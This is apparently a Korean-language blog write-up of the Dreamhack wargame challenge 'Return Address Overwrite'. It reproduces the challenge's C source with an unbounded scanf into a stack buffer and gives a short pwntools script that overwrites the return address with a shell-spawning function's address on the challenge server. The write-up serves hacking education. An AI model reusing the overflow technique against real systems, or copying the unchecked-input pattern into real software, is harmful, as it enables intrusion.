[Dreamhack] Return Address Overwrite
2022. 2. 16. 22:57ㆍDreamhack/System Hacking
1. 문제 정보
2. 문제 파일
더보기
더보기
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
문제에서 제공되는 소스 코드입니다.
3. 문제 풀이
더보기
더보기



void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
쉘을 실행시키는 get_shell 함수가 있습니다.
그리고 buf의 주소를 인자로 scnaf 함수가 실행되는데 길이에 대한 검증이 없어 Return Address를 get_shell 함수의 주소로 덮어 씌울 수 있습니다.

buf의 주소는 rbp - 0x30입니다.
그래서 48바이트 + SFP 8바이트를 임의의 값으로 덮어 씌우고 Return Address를 get_shell 함수의 주소로 변경시키면 됩니다.

파이썬을 이용해 페이로드를 전송하였습니다. 코드는 아래와 같습니다.
from pwn import *
r = remote("host1.dreamhack.games", port)
payload = b"A" * 0x30 + b"B" * 0x8
payload += p64(0x4006aa)
r.sendlineafter('Input: ', payload)
r.interactive()
결과는 아래와 같습니다.

'Dreamhack > System Hacking' 카테고리의 다른 글
[Dreamhack] Return to Library (0) | 2022.02.18 |
---|---|
[Dreamhack] ssp_000 (0) | 2022.02.17 |
[Dreamhack] Return to Shellcode (0) | 2022.02.17 |
[Dreamhack] basic_exploitation_001 (0) | 2022.02.17 |
[Dreamhack] basic_exploitation_000 (0) | 2022.02.17 |